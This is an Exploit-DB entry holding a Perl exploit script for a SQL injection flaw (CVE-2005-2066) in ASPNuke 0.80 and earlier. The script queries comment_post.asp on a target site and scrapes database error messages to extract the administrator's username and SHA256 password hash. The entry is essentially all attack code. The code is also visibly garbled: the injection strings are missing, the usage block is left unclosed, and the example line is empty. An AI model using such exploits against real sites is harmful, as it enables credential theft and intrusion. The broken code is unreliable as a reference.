ASPNuke <= 0.80 comment_post.asp SQL Injection Exploit

ID EDB-ID:1071
Type exploitdb
Reporter Alberto Trivero
Modified 2005-06-27T00:00:00


ASPNuke <= 0.80 (comment_post.asp) SQL Injection Exploit. CVE-2005-2066. Webapps exploit for asp platform

                                            #!/usr/bin/perl -w
# SQL Injection Exploit for ASPNuke &lt;= 0.80
# This exploit retrieve the username of the administrator of the board and his password crypted in SHA256
# Related advisory:
# Discovered and Coded by Alberto Trivero

use LWP::Simple;

print "\n\t===============================\n";
print "\t= Exploit for ASPNuke &lt;= 0.80 =\n";
print "\t=     by Alberto Trivero      =\n";
print "\t===============================\n\n";

if(@ARGV!=1 or !($ARGV[0]=~m/http/)) {
   print "Usage:\nperl $0 [full_target_path]\n\nExamples:\nperl $0\n";

$page=get($ARGV[0]."module/support/task/comment_post.asp?TaskID=Username") || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page=~m/the varchar value '(.*?)' to a column/ && print "[+] Username of admin is: $1\n";
print "[-] Unable to retrieve Username\n" if(!$1);
$page=get($ARGV[0]."module/support/task/comment_post.asp?TaskID=Password") || die "[-] Unable to retrieve: $!";
$page=~m/the varchar value '(.*?)' to a column/ && print "[+] SHA256 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);

# [2005-06-27]